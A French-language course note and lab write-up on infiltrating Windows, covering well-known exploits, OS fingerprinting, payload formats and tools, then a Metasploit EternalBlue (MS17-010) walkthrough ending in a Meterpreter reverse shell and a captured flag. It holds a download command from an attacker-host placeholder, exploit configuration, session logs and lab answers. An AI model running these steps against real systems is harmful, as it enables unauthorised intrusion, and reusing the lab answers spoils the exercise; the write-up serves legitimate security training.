Infiltrating Windows

🧠 Introduction

Microsoft domine depuis des décennies les marchés domestiques et professionnels de l'informatique. Avec l'évolution de Windows, notamment les améliorations d'Active Directory, l'intégration au cloud, le Windows Subsystem for Linux (WSL), etc., la surface d'attaque de l'écosystème Windows s'est considérablement agrandie.

Entre 2019 et 2024, pas moins de 3688 vulnérabilités ont été recensées dans les produits Microsoft. De nombreuses failles critiques ont été activement exploitées.

💥 Exploits Windows les Plus Connus

Vulnérabilité
Description

MS08-067

Failles SMB exploitées par Conficker et Stuxnet. Permet l'exécution distante de code sur de nombreuses versions de Windows.

EternalBlue

MS17-010, exploit SMBv1 issu des leaks Shadow Brokers (NSA). Utilisé par WannaCry et NotPetya.

PrintNightmare

Exécution de code via le spooler d'impression Windows avec élévation de privilèges.

BlueKeep

CVE-2019-0708, exécution de code à distance via RDP. Affecte Windows 2000 à 2008 R2.

SigRed

CVE-2020-1350, faille DNS permettant de compromettre un contrôleur de domaine.

SeriousSAM

CVE-2021-36934, mauvaise configuration d'accès aux fichiers du répertoire system32\config, exposant la base SAM (hashs de mots de passe).

Zerologon

CVE-2020-1472, faille critique dans le protocole MS-NRPC permettant de falsifier les authentifications sur le domaine Active Directory.

La connaissance et la compréhension de ces vulnérabilités sont essentielles pour les exploiter ou les mitiger efficacement dans des environnements professionnels.


🔍 Méthodes d'Empreinte (Fingerprinting) & Détection Windows

Avant d'attaquer, il faut s'assurer que la cible est bien un système Windows. Voici quelques méthodes simples d'identification.

⌚ Analyse du Time To Live (TTL)

Lors d'un ping ICMP, Windows répond typiquement avec un TTL de 128. Voici un exemple :

ping 10.10.10.10
64 bytes from 10.10.10.10: icmp_seq=0 ttl=128 time=14.2 ms

Ce TTL peut être diminué si des routeurs s'interposent, mais reste généralement au-dessus de 100 pour les hôtes proches.

🚀 Scan d’OS avec Nmap

Nmap permet une identification de l'OS avec -O. Voici un exemple de résultat :

sudo nmap -v -O 10.10.10.10
...
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 1909

En cas de détection difficile, utiliser les options -A et -Pn pour améliorer les résultats.

📊 Analyse des ports ouverts

Certains ports sont typiques des machines Windows :

  • 135 (RPC)

  • 139 (NetBIOS)

  • 445 (SMB)

Voici un extrait de scan Nmap sur un hôte Windows :

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds
902/tcp open  iss-realsecure
912/tcp open  apex-mesh

Les ports 902 et 912 indiquent ici une instance de VMware Workstation.


Pour obtenir plus d'informations sur les services, on peut utiliser le script banner.nse de Nmap :

sudo nmap -v 10.10.10.10 --script banner.nse

Extrait de réponse :

902/tcp open  iss-realsecure
| banner: 220 VMware Authentication Daemon Version 1.10: SSL Required
912/tcp open  apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0

Ces informations permettent d'affiner les recherches d'exploits spécifiques à un logiciel ou une version données.


🧨 Bats, DLLs & MSI Files, Oh My!

Lorsqu’il s’agit de créer des payloads pour des hôtes Windows, de nombreuses options sont possibles. Parmi les formats courants utilisés :

  • DLLs

  • Fichiers batch (.bat)

  • Fichiers MSI

  • Scripts PowerShell

  • Scripts VBS

Tous ces fichiers ont un point commun : ils peuvent être exécutés sur la machine cible. Le choix du format dépendra notamment du vecteur de livraison retenu.

📦 Types de payloads à envisager

🧩 DLLs (Dynamic-Link Libraries)

Les fichiers DLL sont des bibliothèques partagées sous Windows. Ils permettent d’avoir un code modulaire et réutilisable entre plusieurs programmes. En tant que pentester, il est possible :

  • d’injecter une DLL malveillante dans un processus,

  • de détourner une DLL vulnérable déjà présente.

Cela peut permettre d'obtenir des privilèges SYSTEM ou de contourner l’UAC (User Account Control).

📜 Batch files (.bat)

Les fichiers batch sont des scripts en langage DOS permettant d’automatiser des commandes. Très utilisés par les administrateurs système, ils peuvent :

  • ouvrir un port sur la machine victime,

  • établir une connexion vers l’attaquant (reverse shell),

  • réaliser une énumération basique,

  • exfiltrer des informations.

🧪 VBScript (VBS)

Le VBScript est un langage de script basé sur Visual Basic. Bien que désactivé sur la majorité des navigateurs modernes, il reste utilisé dans des contextes d’attaque (phishing, macros Excel, etc.). Il s’exécute via le moteur de script Windows et permet d’automatiser l’exécution de code malveillant.

📦 MSI (Microsoft Installer)

Les fichiers .msi sont des bases de données d'installation utilisées par le système Windows Installer. Il est possible de créer un payload encapsulé dans un fichier MSI et de l’exécuter sur la cible via :

msiexec /i fichier_malveillant.msi

⚡ PowerShell

PowerShell est à la fois un shell moderne et un langage de script intégré aux systèmes Windows. Basé sur .NET, il permet :

  • d’exécuter du code arbitraire,

  • de gérer des objets Windows natifs,

  • de construire et d’exécuter des payloads dynamiques,

  • d’interagir avec l’OS à bas niveau.

PowerShell est extrêmement puissant pour obtenir une exécution de commande et un shell sur l’hôte cible.


🧰 Outils, Tactiques & Procédures pour la génération, le transfert et l'exécution de payloads

🔧 Génération de payloads

Plusieurs outils permettent de générer des payloads compatibles Windows. Voici quelques ressources clés :

Ressource
Description

MSFVenom / Metasploit Framework

Génère des payloads, les encode et les intègre dans des fichiers exécutables. Outil polyvalent du pentester.

Payloads All The Things

Référentiel communautaire regroupant des exemples de payloads et des techniques de génération.

Mythic C2 Framework

Framework de Command & Control alternatif à Metasploit avec génération de payloads personnalisés.

Nishang

Collection d’outils offensifs PowerShell (implants, scripts d’énumération, etc.).

Darkarmour

Génère des exécutables obfusqués pour échapper à la détection sur Windows.


🚚 Transfert & Exécution de payloads

Différentes méthodes peuvent être utilisées pour transférer et exécuter un payload sur une cible Windows :

  • 📁 Impacket : Suite d’outils Python permettant d’interagir avec divers protocoles réseau (SMB, WMI, Kerberos, etc.). Outils comme smbclient, psexec.py, wmiexec.py permettent le dépôt et l'exécution de fichiers à distance.

  • 📘 Payloads All The Things : Contient de nombreux one-liners pour transférer rapidement un fichier entre deux machines.

  • 🔗 SMB : Utilisable pour copier des fichiers vers des partages comme C$ ou admin$. Pratique dans un environnement Active Directory.

  • 🧨 Exécution distante via Metasploit : De nombreux modules exploit intégrés à Metasploit automatisent la création, le transfert et l’exécution du payload.

  • 🌐 Autres protocoles : HTTP, HTTPS, FTP, TFTP peuvent être utilisés selon les services disponibles sur la cible. Exemple :

Invoke-WebRequest -Uri http://<IP ATTAQUANT>/payload.exe -OutFile payload.exe

🔎 Exemple de compromission : EternalBlue sur Windows Server 2016

🔢 Énumération de la cible

L'étape d'énumération est cruciale dans toute chaîne d'exploitation. Avant de tenter une quelconque attaque, il est primordial de comprendre l'environnement cible. Dans ce cas, la cible est une machine Windows dont l'adresse IP est <IP CIBLE>.

⚖️ Scan Nmap avancé

nmap -v -A <IP CIBLE>

Résultats clés :

  • Port 80 (HTTP) : Microsoft IIS 10.0

  • Ports 135, 139, 445 (SMB/RPC) : Services Windows standards (SMB, NetBIOS, RPC)

  • Nom NetBIOS : SHELLS-WINBLUE

  • OS : Windows Server 2016 Standard 14393

  • Workgroup : WORKGROUP

  • Message signing SMB : Désactivé (risqué)

⚠️ Indice de vulnérabilité possible : MS17-010 (EternalBlue), connu pour affecter Windows Server 2008 à 2016.


🔮 Identification de la vulnérabilité MS17-010

🧰 Scan via Metasploit

Lancement de Metasploit et utilisation du module de vérification pour MS17-010.

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <IP CIBLE>
run

Résultat attendu :

[+] <IP CIBLE>:445 - Host is likely VULNERABLE to MS17-010!

🚀 Exploitation de MS17-010 avec Metasploit

🤖 Recherche et sélection de l'exploit

search eternal

Nous choisissons ici :

use exploit/windows/smb/ms17_010_psexec

⚖️ Configuration de l'exploit et du payload

set RHOSTS <IP CIBLE>
set LHOST <IP ATTAQUANT>
set LPORT 4444

Le payload par défaut est : windows/meterpreter/reverse_tcp

🔍 Vérification des options

show options

S'assurer que les champs suivants sont bien renseignés :

  • RHOSTS

  • LHOST

  • LPORT


🔨 Exécution de l'exploit

Une fois tous les paramètres en place :

run

Si l'exploitation réussit, un shell Meterpreter s'ouvre :

meterpreter >

Cela signifie que l'accès à distance à la machine cible est effectif.


🔒 Points de vigilance

  • MS17-010 est une faille critique exploitée dans le cadre d'attaques réelles (ex : WannaCry).

  • L'utilisation de psexec implique que l'attaquant puisse exécuter du code en tant qu'administrateur (privilèges SYSTEM).

  • Un antivirus ou un EDR peut détecter l'exploit ou le payload si non obfusqué.


📅 Récapitulatif

Étape
Outil
Objectif

Scan des ports

Nmap

Détecter les services exposés

Détection MS17-010

Metasploit (auxiliary)

Identifier la vulnérabilité

Exploitation

Metasploit (exploit + payload)

Obtenir un shell Meterpreter


🔹 Conclusion

La reconnaissance d’un système Windows est une étape essentielle dans toute phase d’infiltration. Elle permet de préparer efficacement les prochaines étapes d’attaque : choix des exploits, création de payloads adaptés, et évaluation de la surface d’attaque.


📚 Ressources utiles


What file type is a text-based DOS script used to perform tasks from the cli? (answer with the file extension, e.g. '.something')

Comme mentionné dans le cours, l'extension associée aux scripts DOS est le .bat.


What Windows exploit was dropped as a part of the Shadow Brokers leak? (Format: ms bulletin number, e.g. MSxx-xxx)

L'exploit Windows drop dans le cardre de la fuite de Shadow Brokers est EternalBlue (MS17-010).


Gain a shell on the vulnerable target, then submit the contents of the flag.txt file that can be found in C:\

Lancement de Metasploit :

sudo msfconsole

Une fois lancer, nous recherchons les exploit en lien avec eternalblue :

[msf](Jobs:0 Agents:0) >> search exploit ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   [...]
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   [...]

Nous choisissons alors l'exploit numéro 10 (exploit/windows/smb/ms17_010_psexec), modifions les options et accedons à notre cible :

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> use 10
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set rhost 10.129.201.97
rhost => 10.129.201.97

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set lhost 10.10.14.171
lhost => 10.10.14.171

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> exploit
[*] Started reverse TCP handler on 10.10.14.171:4444 
[*] Meterpreter session 1 opened (10.10.14.171:4444 -> 10.129.201.97:49673) at 2025-07-03 04:47:10 -0500

(Meterpreter 1)(C:\Windows\system32) > cd ../../
(Meterpreter 1)(C:\) > cat flag.txt
EB-Still-W0rk$

Nous obtenons alors le flag attendu :

EB-Still-W0rk$

Mis à jour